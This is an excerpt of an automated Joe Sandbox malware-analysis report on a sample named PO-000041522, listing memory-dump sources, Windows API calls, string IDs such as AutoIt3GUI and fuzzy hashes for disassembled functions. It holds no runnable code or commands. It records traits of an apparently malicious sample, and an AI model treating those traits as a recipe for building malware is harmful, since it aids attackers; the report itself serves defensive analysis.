                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                                • String ID:
                                                                                                • API String ID: 146765662-0
                                                                                                • Opcode ID: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                • Instruction ID: e19b07cb6d87eea3d85dfea562759309df1919ba68b29a0146d7a5ec0ea3c710
                                                                                                • Opcode Fuzzy Hash: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                • Instruction Fuzzy Hash: 5DE0C976504311ABC620EB65DC48C4BB7E9EF883303114E1DF89693260CA74E881CB65
                                                                                                APIs
                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 00414070
                                                                                                  • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                • __getptd_noexit.LIBCMT ref: 00414080
                                                                                                • __freeptd.LIBCMT ref: 0041408A
                                                                                                • ExitThread.KERNEL32 ref: 00414093
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                • String ID:
                                                                                                • API String ID: 3182216644-0
                                                                                                • Opcode ID: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                • Instruction ID: 8c1b811a677bc0208766d104aadce1409d27245c16b3af4a320e27a455eae914
                                                                                                • Opcode Fuzzy Hash: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                • Instruction Fuzzy Hash: F8D0EC7051024256D6207BA7ED097AA3A589B44B26B15446EA905801B1DF68D9C1862D
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: BuffCharLower
                                                                                                • String ID: $8'I
                                                                                                • API String ID: 2358735015-3608026889
                                                                                                • Opcode ID: 5b489f3052d96109422c917d8a9fbac0302be8ad5a33661fb05fbe82f09871b4
                                                                                                • Instruction ID: 1bf34105e022c250dd7240f1ea7ec4803edb57b208c13e69c3fb06210d7c4844
                                                                                                • Opcode Fuzzy Hash: 5b489f3052d96109422c917d8a9fbac0302be8ad5a33661fb05fbe82f09871b4
                                                                                                • Instruction Fuzzy Hash: 9FE1AE745043018BCB24EF16D88166BB7E4BF94348F40482FF88597292EB79DD89CB9B
                                                                                                APIs
                                                                                                • OleSetContainedObject.OLE32(00000000,00000001), ref: 0047857A
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                  • Part of subcall function 00445513: OleSetContainedObject.OLE32(?,00000000), ref: 00445593
                                                                                                  • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CopyVariant$ContainedObject$ErrorLast_malloc
                                                                                                • String ID: AutoIt3GUI$Container
                                                                                                • API String ID: 3380330463-3941886329
                                                                                                • Opcode ID: 40d57a9443b987af8efa91babd9c31157e19955d9a2197ee8c51554929d21189
                                                                                                • Instruction ID: 8a51a4197b359b89da059ec4b883cd23719ad159cb4f439b8c2c8f5fea4c1b32
                                                                                                • Opcode Fuzzy Hash: 40d57a9443b987af8efa91babd9c31157e19955d9a2197ee8c51554929d21189
                                                                                                • Instruction Fuzzy Hash: FEA16A71240601AFC760EF69C880A6BB7E9FB88304F10892EF649CB361EB75E945CB55
                                                                                                APIs
                                                                                                • _wcslen.LIBCMT ref: 00409A61
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                • String ID: 0vH
                                                                                                • API String ID: 1143807570-3662162768
                                                                                                • Opcode ID: 48d8efa28efb0e654e2432145b3934d8a1d5d6307be235ebc07dbaa12827b641
                                                                                                • Instruction ID: 5e67718e4417cbef977f4cc7974cb0b4b39b480e5382bb1977b3cac956c07efc
                                                                                                • Opcode Fuzzy Hash: 48d8efa28efb0e654e2432145b3934d8a1d5d6307be235ebc07dbaa12827b641
                                                                                                • Instruction Fuzzy Hash: 53515BB1A083009FC718CF18C48065BB7E1FF88314F54856EF9999B391D779E942CB96
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: HH$HH
                                                                                                • API String ID: 0-1787419579
                                                                                                • Opcode ID: 7546cf6663fec2d41e0be28018c51c43d88dc93244b488606bcda1ed75612bc1
                                                                                                • Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
                                                                                                • Opcode Fuzzy Hash: 7546cf6663fec2d41e0be28018c51c43d88dc93244b488606bcda1ed75612bc1
                                                                                                • Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: InfoItemMenu_memset
                                                                                                • String ID: 0
                                                                                                • API String ID: 2223754486-4108050209
                                                                                                • Opcode ID: ab395e0797d4299d5a82b45703d56d187905e434979ac45bf3b9141324919e82
                                                                                                • Instruction ID: 143d79469fb3e570aa9bb1e7a79db7ad77638f8ab3c2e89d41e08a42c99b444e
                                                                                                • Opcode Fuzzy Hash: ab395e0797d4299d5a82b45703d56d187905e434979ac45bf3b9141324919e82
                                                                                                • Instruction Fuzzy Hash: CB3101721043009BF3249F18DC85BABBBE4EBC6310F14081FFA90C62A0E379D949C75A
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,00001132,00000000,?), ref: 0044846C
                                                                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044847E
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend
                                                                                                • String ID: '
                                                                                                • API String ID: 3850602802-1997036262
                                                                                                • Opcode ID: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                • Instruction ID: cecdca06d5aa7ecc7109d5e1ff25192cbd540bafe2d1ef24ff7c1b98f096cb5f
                                                                                                • Opcode Fuzzy Hash: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                • Instruction Fuzzy Hash: 984179706083459FE710CF18C880BABB7E1FB89700F54882EF9888B351DB75A841CF5A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: 0
                                                                                                • API String ID: 0-4108050209
                                                                                                • Opcode ID: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                • Instruction ID: 268d240ecd79f719a1425e83c09d650ed443e1bf0ac8ef4f8d51517adc50c1d2
                                                                                                • Opcode Fuzzy Hash: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                • Instruction Fuzzy Hash: B6210D765042206BEB15DF08D844B97B7A4FBDA310F44492BEE9897250D379E848C7AA
                                                                                                APIs
                                                                                                • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
                                                                                                • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend
                                                                                                • String ID: Combobox
                                                                                                • API String ID: 3850602802-2096851135
                                                                                                • Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                • Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
                                                                                                • Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                • Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768
                                                                                                APIs
                                                                                                • GetWindowTextLengthW.USER32(00000000), ref: 004515DA
                                                                                                • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: LengthMessageSendTextWindow
                                                                                                • String ID: edit
                                                                                                • API String ID: 2978978980-2167791130
                                                                                                • Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                • Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
                                                                                                • Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                • Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729
                                                                                                APIs
                                                                                                • Sleep.KERNEL32(00000000), ref: 00474833
                                                                                                • GlobalMemoryStatusEx.KERNEL32 ref: 00474846
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: GlobalMemorySleepStatus
                                                                                                • String ID: @
                                                                                                • API String ID: 2783356886-2766056989
                                                                                                • Opcode ID: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                • Instruction ID: 41c327e25453105c4ca6c880754d33c67e761007402a238c65fd2e715fefe222
                                                                                                • Opcode Fuzzy Hash: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                • Instruction Fuzzy Hash: 4421C230929A14B7C2107F6ABD4BB5E7BB8AF44716F008C5DF5C562094DF785268836F
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: htonsinet_addr
                                                                                                • String ID: 255.255.255.255
                                                                                                • API String ID: 3832099526-2422070025
                                                                                                • Opcode ID: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                • Instruction ID: e3b5e028fda38c0aed97ec3d425ece65e45bc088e5f3683a6f0e3ee8de0e9224
                                                                                                • Opcode Fuzzy Hash: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                • Instruction Fuzzy Hash: 6F11253620030057DA10EB69C882F9BB394EFC4728F00896BFA105B283D679F45A832E
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend_wcslen
                                                                                                • String ID: ComboBox$ListBox
                                                                                                • API String ID: 455545452-1403004172
                                                                                                • Opcode ID: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                • Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
                                                                                                • Opcode Fuzzy Hash: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                • Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A
                                                                                                APIs
                                                                                                • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00442B8C
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: InternetOpen
                                                                                                • String ID: <local>
                                                                                                • API String ID: 2038078732-4266983199
                                                                                                • Opcode ID: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                • Instruction ID: 525aca290fb55aeb65c4bf55ca0deee88c9418ef2a1db54778758d1eb2e06c8a
                                                                                                • Opcode Fuzzy Hash: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                • Instruction Fuzzy Hash: 9011A934144751AAF621DF108D86FB77794FB50B01F50480FF9866B2C0D6F4B848C766
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend_wcslen
                                                                                                • String ID: ComboBox$ListBox
                                                                                                • API String ID: 455545452-1403004172
                                                                                                • Opcode ID: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                • Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
                                                                                                • Opcode Fuzzy Hash: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                • Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend_wcslen
                                                                                                • String ID: ComboBox$ListBox
                                                                                                • API String ID: 455545452-1403004172
                                                                                                • Opcode ID: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                • Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
                                                                                                • Opcode Fuzzy Hash: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                • Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _strncmp
                                                                                                • String ID: ,$UTF8)
                                                                                                • API String ID: 909875538-2632631837
                                                                                                • Opcode ID: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                • Instruction ID: 35c0b5e4e6bd282640ba12729024cfd3588da47ca1ed1c49f01331a057b7ec9b
                                                                                                • Opcode Fuzzy Hash: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
